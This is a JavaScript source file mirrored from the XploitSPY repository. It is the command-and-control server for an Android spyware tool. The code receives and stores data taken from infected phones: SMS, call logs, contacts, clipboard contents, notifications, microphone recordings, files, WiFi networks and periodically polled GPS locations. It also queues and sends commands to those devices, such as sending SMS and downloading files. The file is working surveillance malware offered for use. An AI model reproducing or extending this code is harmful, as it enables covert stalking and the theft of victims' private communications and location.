mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-12-30 01:25:38 +08:00
529 lines
23 KiB
JavaScript
529 lines
23 KiB
JavaScript
let CONST = require('./const'),
|
|
fs = require('fs'),
|
|
crypto = require('crypto'),
|
|
path = require('path');
|
|
|
|
class Clients {
|
|
constructor(db) {
|
|
this.clientConnections = {};
|
|
this.gpsPollers = {};
|
|
this.clientDatabases = {};
|
|
this.ignoreDisconnects = {};
|
|
this.instance = this;
|
|
this.db = db;
|
|
}
|
|
|
|
// UPDATE
|
|
|
|
clientConnect(connection, clientID, clientData) {
|
|
|
|
this.clientConnections[clientID] = connection;
|
|
|
|
if (clientID in this.ignoreDisconnects) this.ignoreDisconnects[clientID] = true;
|
|
else this.ignoreDisconnects[clientID] = false;
|
|
|
|
console.log("Connected -> should ignore?", this.ignoreDisconnects[clientID]);
|
|
|
|
let client = this.db.maindb.get('clients').find({ clientID });
|
|
if (client.value() === undefined) {
|
|
this.db.maindb.get('clients').push({
|
|
clientID,
|
|
firstSeen: new Date(),
|
|
lastSeen: new Date(),
|
|
isOnline: true,
|
|
dynamicData: clientData
|
|
}).write()
|
|
|
|
// this being the first run we should ask the client for all existing data?
|
|
|
|
} else {
|
|
client.assign({
|
|
lastSeen: new Date(),
|
|
isOnline: true,
|
|
dynamicData: clientData
|
|
}).write()
|
|
}
|
|
|
|
let clientDatabase = this.getClientDatabase(clientID);
|
|
this.setupListeners(clientID, clientDatabase);
|
|
}
|
|
|
|
clientDisconnect(clientID) {
|
|
console.log("Disconnected -> should ignore?", this.ignoreDisconnects[clientID]);
|
|
|
|
if (this.ignoreDisconnects[clientID]) {
|
|
delete this.ignoreDisconnects[clientID];
|
|
} else {
|
|
logManager.log(CONST.logTypes.info, clientID + " Disconnected")
|
|
this.db.maindb.get('clients').find({ clientID }).assign({
|
|
lastSeen: new Date(),
|
|
isOnline: false,
|
|
}).write()
|
|
if (this.clientConnections[clientID]) delete this.clientConnections[clientID];
|
|
if (this.gpsPollers[clientID]) clearInterval(this.gpsPollers[clientID]);
|
|
delete this.ignoreDisconnects[clientID];
|
|
}
|
|
}
|
|
|
|
getClientDatabase(clientID) {
|
|
if (this.clientDatabases[clientID]) return this.clientDatabases[clientID];
|
|
else {
|
|
this.clientDatabases[clientID] = new this.db.clientdb(clientID)
|
|
return this.clientDatabases[clientID];
|
|
}
|
|
}
|
|
|
|
setupListeners(clientID) {
|
|
let socket = this.clientConnections[clientID];
|
|
let client = this.getClientDatabase(clientID);
|
|
|
|
logManager.log(CONST.logTypes.info, clientID + " Connected")
|
|
socket.on('disconnect', () => this.clientDisconnect(clientID));
|
|
|
|
// Run the queued requests for this client
|
|
let clientQue = client.get('CommandQue').value();
|
|
if (clientQue.length !== 0) {
|
|
logManager.log(CONST.logTypes.info, clientID + " Running Queued Commands");
|
|
clientQue.forEach((command) => {
|
|
let uid = command.uid;
|
|
this.sendCommand(clientID, command.type, command, (error) => {
|
|
if (!error) client.get('CommandQue').remove({ uid: uid }).write();
|
|
else {
|
|
// Hopefully we'll never hit this point, it'd mean the client connected then immediatly disonnected, how weird!
|
|
// should we play -> https://www.youtube.com/watch?v=4N-POQr-DQQ
|
|
logManager.log(CONST.logTypes.error, clientID + " Queued Command (" + command.type + ") Failed");
|
|
}
|
|
})
|
|
})
|
|
}
|
|
|
|
|
|
// Start GPS polling (if enabled)
|
|
this.gpsPoll(clientID);
|
|
|
|
|
|
// ====== DISABLED -- It never really worked, and new AccessRules stop us from using camera in the background ====== //
|
|
|
|
// socket.on(CONST.messageKeys.camera, (data) => {
|
|
|
|
// // {
|
|
// // "image": <Boolean>,
|
|
// // "buffer": <Buffer>
|
|
// // }
|
|
|
|
// if (data.image) {
|
|
// let uint8Arr = new Uint8Array(data.buffer);
|
|
// let binary = '';
|
|
// for (var i = 0; i < uint8Arr.length; i++) {
|
|
// binary += String.fromCharCode(uint8Arr[i]);
|
|
// }
|
|
// let base64String = window.btoa(binary);
|
|
|
|
// // save to file
|
|
// let epoch = Date.now().toString();
|
|
// let filePath = path.join(CONST.photosFullPath, clientID, epoch + '.jpg');
|
|
// fs.writeFileSync(filePath, new Buffer(base64String, "base64"), (error) => {
|
|
// if (!error) {
|
|
// // let's save the filepath to the database
|
|
// client.get('photos').push({
|
|
// time: epoch,
|
|
// path: CONST.photosFolder + '/' + clientID + '/' + epoch + '.jpg'
|
|
// }).write();
|
|
// }
|
|
// else return; // not ok
|
|
// })
|
|
// }
|
|
// });
|
|
|
|
socket.on(CONST.messageKeys.files, (data) => {
|
|
// {
|
|
// "type": "list"|"download"|"error",
|
|
// (if type = list) "list": <Array>,
|
|
// (if type = download) "buffer": <Buffer>,
|
|
// (if type = error) "error": <String>
|
|
// }
|
|
|
|
if (data.type === "list") {
|
|
let list = data.list;
|
|
if (list.length !== 0) {
|
|
// cool, we have files!
|
|
// somehow get this array back to the main thread...
|
|
client.get('currentFolder').remove().write();
|
|
client.get('currentFolder').assign(data.list).write();
|
|
logManager.log(CONST.logTypes.success, "File List Updated");
|
|
} else {
|
|
// bummer, something happened
|
|
}
|
|
} else if (data.type === "download") {
|
|
// Ayy, time to recieve a file!
|
|
logManager.log(CONST.logTypes.info, "Recieving File From" + clientID);
|
|
|
|
|
|
let hash = crypto.createHash('md5').update(new Date() + Math.random()).digest("hex");
|
|
let fileKey = hash.substr(0, 5) + "-" + hash.substr(5, 4) + "-" + hash.substr(9, 5);
|
|
let fileExt = (data.name.substring(data.name.lastIndexOf(".")).length !== data.name.length) ? data.name.substring(data.name.lastIndexOf(".")) : '.unknown';
|
|
|
|
let filePath = path.join(CONST.downloadsFullPath, fileKey + fileExt);
|
|
|
|
fs.writeFile(filePath, data.buffer, (error) => {
|
|
if (!error) {
|
|
// let's save the filepath to the database
|
|
client.get('downloads').push({
|
|
time: new Date(),
|
|
type: "download",
|
|
originalName: data.name,
|
|
path: CONST.downloadsFolder + '/' + fileKey + fileExt
|
|
}).write();
|
|
logManager.log(CONST.logTypes.success, "File From" + clientID + " Saved");
|
|
}
|
|
else console.log(error); // not ok
|
|
})
|
|
} else if (data.type === "error") {
|
|
// shit, we don't like these! What's up?
|
|
let error = data.error;
|
|
console.log(error);
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.call, (data) => {
|
|
if (data.callsList) {
|
|
if (data.callsList.length !== 0) {
|
|
let callsList = data.callsList;
|
|
let dbCall = client.get('CallData');
|
|
let newCount = 0;
|
|
callsList.forEach(call => {
|
|
let hash = crypto.createHash('md5').update(call.phoneNo + call.date).digest("hex");
|
|
if (dbCall.find({ hash }).value() === undefined) {
|
|
// cool, we dont have this call
|
|
call.hash = hash;
|
|
dbCall.push(call).write();
|
|
newCount++;
|
|
}
|
|
});
|
|
logManager.log(CONST.logTypes.success, clientID + " Call Log Updated - " + newCount + " New Calls");
|
|
}
|
|
}
|
|
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.sms, (data) => {
|
|
if (typeof data === "object") {
|
|
let smsList = data.smslist;
|
|
if (smsList.length !== 0) {
|
|
let dbSMS = client.get('SMSData');
|
|
let newCount = 0;
|
|
smsList.forEach(sms => {
|
|
let hash = crypto.createHash('md5').update(sms.address + sms.body).digest("hex");
|
|
if (dbSMS.find({ hash }).value() === undefined) {
|
|
// cool, we dont have this sms
|
|
sms.hash = hash;
|
|
dbSMS.push(sms).write();
|
|
newCount++;
|
|
}
|
|
});
|
|
logManager.log(CONST.logTypes.success, clientID + " SMS List Updated - " + newCount + " New Messages");
|
|
}
|
|
} else if (typeof data === "boolean") {
|
|
logManager.log(CONST.logTypes.success, clientID + " SENT SMS");
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.mic, (data) => {
|
|
if (data.file) {
|
|
logManager.log(CONST.logTypes.info, "Recieving " + data.name + " from " + clientID);
|
|
|
|
let hash = crypto.createHash('md5').update(new Date() + Math.random()).digest("hex");
|
|
let fileKey = hash.substr(0, 5) + "-" + hash.substr(5, 4) + "-" + hash.substr(9, 5);
|
|
let fileExt = (data.name.substring(data.name.lastIndexOf(".")).length !== data.name.length) ? data.name.substring(data.name.lastIndexOf(".")) : '.unknown';
|
|
|
|
let filePath = path.join(CONST.downloadsFullPath, fileKey + fileExt);
|
|
|
|
fs.writeFile(filePath, data.buffer, (e) => {
|
|
if (!e) {
|
|
client.get('downloads').push({
|
|
"time": new Date(),
|
|
"type": "voiceRecord",
|
|
"originalName": data.name,
|
|
"path": CONST.downloadsFolder + '/' + fileKey + fileExt
|
|
}).write();
|
|
} else {
|
|
console.log(e);
|
|
}
|
|
})
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.location, (data) => {
|
|
if (data.latitude === undefined || data.latitude === undefined) {
|
|
logManager.log(CONST.logTypes.error, clientID + " GPS Recieved No Data");
|
|
} else {
|
|
client.get('GPSData').push({
|
|
time: new Date(),
|
|
enabled: data.enabled || false,
|
|
latitude: data.latitude || 0,
|
|
longitude: data.longitude || 0,
|
|
altitude: data.altitude || 0,
|
|
accuracy: data.accuracy || 0,
|
|
speed: data.speed || 0
|
|
}).write();
|
|
logManager.log(CONST.logTypes.success, clientID + " GPS Updated");
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.clipboard, (data) => {
|
|
client.get('clipboardLog').push({
|
|
time: new Date(),
|
|
content: data.text
|
|
}).write();
|
|
logManager.log(CONST.logTypes.info, clientID + " ClipBoard Recieved");
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.notification, (data) => {
|
|
let dbNotificationLog = client.get('notificationLog');
|
|
let hash = crypto.createHash('md5').update(data.key + data.content).digest("hex");
|
|
|
|
if (dbNotificationLog.find({ hash }).value() === undefined) {
|
|
data.hash = hash;
|
|
dbNotificationLog.push(data).write();
|
|
logManager.log(CONST.logTypes.info, clientID + " Notification Recieved");
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.contacts, (data) => {
|
|
if (data.contactsList) {
|
|
if (data.contactsList.length !== 0) {
|
|
let contactsList = data.contactsList;
|
|
let dbContacts = client.get('contacts');
|
|
let newCount = 0;
|
|
contactsList.forEach(contact => {
|
|
contact.phoneNo = contact.phoneNo.replace(/\s+/g, '');
|
|
let hash = crypto.createHash('md5').update(contact.phoneNo + contact.name).digest("hex");
|
|
if (dbContacts.find({ hash }).value() === undefined) {
|
|
// cool, we dont have this call
|
|
contact.hash = hash;
|
|
dbContacts.push(contact).write();
|
|
newCount++;
|
|
}
|
|
});
|
|
logManager.log(CONST.logTypes.success, clientID + " Contacts Updated - " + newCount + " New Contacts Added");
|
|
}
|
|
}
|
|
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.wifi, (data) => {
|
|
if (data.networks) {
|
|
if (data.networks.length !== 0) {
|
|
let networks = data.networks;
|
|
let dbwifiLog = client.get('wifiLog');
|
|
client.get('wifiNow').remove().write();
|
|
client.get('wifiNow').assign(data.networks).write();
|
|
let newCount = 0;
|
|
networks.forEach(wifi => {
|
|
let wifiField = dbwifiLog.find({ SSID: wifi.SSID, BSSID: wifi.BSSID });
|
|
if (wifiField.value() === undefined) {
|
|
// cool, we dont have this call
|
|
wifi.firstSeen = new Date();
|
|
wifi.lastSeen = new Date();
|
|
dbwifiLog.push(wifi).write();
|
|
newCount++;
|
|
} else {
|
|
wifiField.assign({
|
|
lastSeen: new Date()
|
|
}).write();
|
|
}
|
|
});
|
|
logManager.log(CONST.logTypes.success, clientID + " WiFi Updated - " + newCount + " New WiFi Hotspots Found");
|
|
}
|
|
}
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.permissions, (data) => {
|
|
client.get('enabledPermissions').assign(data.permissions).write();
|
|
logManager.log(CONST.logTypes.success, clientID + " Permissions Updated");
|
|
});
|
|
|
|
socket.on(CONST.messageKeys.installed, (data) => {
|
|
client.get('apps').assign(data.apps).write();
|
|
logManager.log(CONST.logTypes.success, clientID + " Apps Updated");
|
|
});
|
|
}
|
|
|
|
|
|
// GET
|
|
getClient(clientID) {
|
|
let client = this.db.maindb.get('clients').find({ clientID }).value();
|
|
if (client !== undefined) return client;
|
|
else return false;
|
|
}
|
|
|
|
getClientList() {
|
|
return this.db.maindb.get('clients').value();
|
|
}
|
|
|
|
getClientListOnline() {
|
|
return this.db.maindb.get('clients').value().filter(client => client.isOnline);
|
|
}
|
|
getClientListOffline() {
|
|
return this.db.maindb.get('clients').value().filter(client => !client.isOnline);
|
|
}
|
|
|
|
getClientDataByPage(clientID, page, filter = undefined) {
|
|
let client = db.maindb.get('clients').find({ clientID }).value();
|
|
if (client !== undefined) {
|
|
let clientDB = this.getClientDatabase(client.clientID);
|
|
let clientData = clientDB.value();
|
|
|
|
let pageData;
|
|
|
|
if (page === "calls") {
|
|
pageData = clientDB.get('CallData').sortBy('date').reverse().value();
|
|
if (filter) {
|
|
let filterData = clientDB.get('CallData').sortBy('date').reverse().value().filter(calls => calls.phoneNo.substr(-6) === filter.substr(-6));
|
|
if (filterData) pageData = filterData;
|
|
}
|
|
}
|
|
else if (page === "sms") {
|
|
pageData = clientData.SMSData;
|
|
if (filter) {
|
|
let filterData = clientDB.get('SMSData').value().filter(sms => sms.address.substr(-6) === filter.substr(-6));
|
|
if (filterData) pageData = filterData;
|
|
}
|
|
}
|
|
else if (page === "notifications") {
|
|
pageData = clientDB.get('notificationLog').sortBy('postTime').reverse().value();
|
|
if (filter) {
|
|
let filterData = clientDB.get('notificationLog').sortBy('postTime').reverse().value().filter(not => not.appName === filter);
|
|
if (filterData) pageData = filterData;
|
|
}
|
|
}
|
|
else if (page === "wifi") {
|
|
pageData = {};
|
|
pageData.now = clientData.wifiNow;
|
|
pageData.log = clientData.wifiLog;
|
|
}
|
|
else if (page === "contacts") pageData = clientData.contacts;
|
|
else if (page === "permissions") pageData = clientData.enabledPermissions;
|
|
else if (page === "clipboard") pageData = clientDB.get('clipboardLog').sortBy('time').reverse().value();
|
|
else if (page === "apps") pageData = clientData.apps;
|
|
else if (page === "files") pageData = clientData.currentFolder;
|
|
else if (page === "downloads") pageData = clientData.downloads.filter(download => download.type === "download");
|
|
else if (page === "microphone") pageData = clientDB.get('downloads').value().filter(download => download.type === "voiceRecord");
|
|
else if (page === "gps") pageData = clientData.GPSData;
|
|
else if (page === "info") pageData = client;
|
|
|
|
return pageData;
|
|
} else return false;
|
|
}
|
|
|
|
// DELETE
|
|
deleteClient(clientID) {
|
|
this.db.get('clients').remove({ clientID }).write();
|
|
if (this.clientConnections[clientID]) delete this.clientConnections[clientID];
|
|
}
|
|
|
|
// COMMAND
|
|
sendCommand(clientID, commandID, commandPayload = {}, cb = () => { }) {
|
|
this.checkCorrectParams(commandID, commandPayload, (error) => {
|
|
if (!error) {
|
|
let client = this.db.maindb.get('clients').find({ clientID }).value();
|
|
if (client !== undefined) {
|
|
commandPayload.type = commandID;
|
|
if (clientID in this.clientConnections) {
|
|
let socket = this.clientConnections[clientID];
|
|
logManager.log(CONST.logTypes.info, "Requested " + commandID + " From " + clientID);
|
|
socket.emit('order', commandPayload)
|
|
return cb(false, 'Requested');
|
|
} else {
|
|
this.queCommand(clientID, commandPayload, (error) => {
|
|
if (!error) return cb(false, 'Command queued (device is offline)')
|
|
else return cb(error, undefined)
|
|
})
|
|
}
|
|
} else return cb('Client Doesn\'t exist!', undefined);
|
|
} else return cb(error, undefined);
|
|
});
|
|
}
|
|
|
|
queCommand(clientID, commandPayload, cb) {
|
|
let clientDB = this.getClientDatabase(clientID);
|
|
let commandQue = clientDB.get('CommandQue');
|
|
let outstandingCommands = [];
|
|
commandQue.value().forEach((command) => {
|
|
outstandingCommands.push(command.type);
|
|
});
|
|
|
|
if (outstandingCommands.includes(commandPayload.type)) return cb('A similar command has already been queued');
|
|
else {
|
|
// yep, it could cause a clash, but c'mon, realistically, it won't, theoretical max que length is like 12 items, so chill?
|
|
// Talking of clashes, enjoy -> https://www.youtube.com/watch?v=EfK-WX2pa8c
|
|
commandPayload.uid = Math.floor(Math.random() * 10000);
|
|
commandQue.push(commandPayload).write();
|
|
return cb(false)
|
|
}
|
|
}
|
|
|
|
checkCorrectParams(commandID, commandPayload, cb) {
|
|
if (commandID === CONST.messageKeys.sms) {
|
|
if (!('action' in commandPayload)) return cb('SMS Missing `action` Parameter');
|
|
else {
|
|
if (commandPayload.action === 'ls') return cb(false);
|
|
else if (commandPayload.action === 'sendSMS') {
|
|
if (!('to' in commandPayload)) return cb('SMS Missing `to` Parameter');
|
|
else if (!('sms' in commandPayload)) return cb('SMS Missing `to` Parameter');
|
|
else return cb(false);
|
|
} else return cb('SMS `action` parameter incorrect');
|
|
}
|
|
}
|
|
else if (commandID === CONST.messageKeys.files) {
|
|
if (!('action' in commandPayload)) return cb('Files Missing `action` Parameter');
|
|
else {
|
|
if (commandPayload.action === 'ls') {
|
|
if (!('path' in commandPayload)) return cb('Files Missing `path` Parameter')
|
|
else return cb(false);
|
|
}
|
|
else if (commandPayload.action === 'dl') {
|
|
if (!('path' in commandPayload)) return cb('Files Missing `path` Parameter')
|
|
else return cb(false);
|
|
}
|
|
else return cb('Files `action` parameter incorrect');
|
|
}
|
|
}
|
|
else if (commandID === CONST.messageKeys.mic) {
|
|
if (!'sec' in commandPayload) return cb('Mic Missing `sec` Parameter')
|
|
else cb(false)
|
|
}
|
|
else if (commandID === CONST.messageKeys.gotPermission) {
|
|
if (!'permission' in commandPayload) return cb('GotPerm Missing `permission` Parameter')
|
|
else cb(false)
|
|
}
|
|
else if (Object.values(CONST.messageKeys).indexOf(commandID) >= 0) return cb(false)
|
|
else return cb('Command ID Not Found');
|
|
}
|
|
|
|
gpsPoll(clientID) {
|
|
if (this.gpsPollers[clientID]) clearInterval(this.gpsPollers[clientID]);
|
|
|
|
let clientDB = this.getClientDatabase(clientID);
|
|
let gpsSettings = clientDB.get('GPSSettings').value();
|
|
|
|
if (gpsSettings.updateFrequency > 0) {
|
|
this.gpsPollers[clientID] = setInterval(() => {
|
|
logManager.log(CONST.logTypes.info, clientID + " POLL COMMAND - GPS");
|
|
this.sendCommand(clientID, '0xLO')
|
|
}, gpsSettings.updateFrequency * 1000);
|
|
}
|
|
}
|
|
|
|
setGpsPollSpeed(clientID, pollevery, cb) {
|
|
if (pollevery >= 30) {
|
|
let clientDB = this.getClientDatabase(clientID);
|
|
clientDB.get('GPSSettings').assign({ updateFrequency: pollevery }).write();
|
|
cb(false);
|
|
this.gpsPoll(clientID);
|
|
} else return cb('Polling Too Short!')
|
|
|
|
}
|
|
}
|
|
|
|
module.exports = Clients; |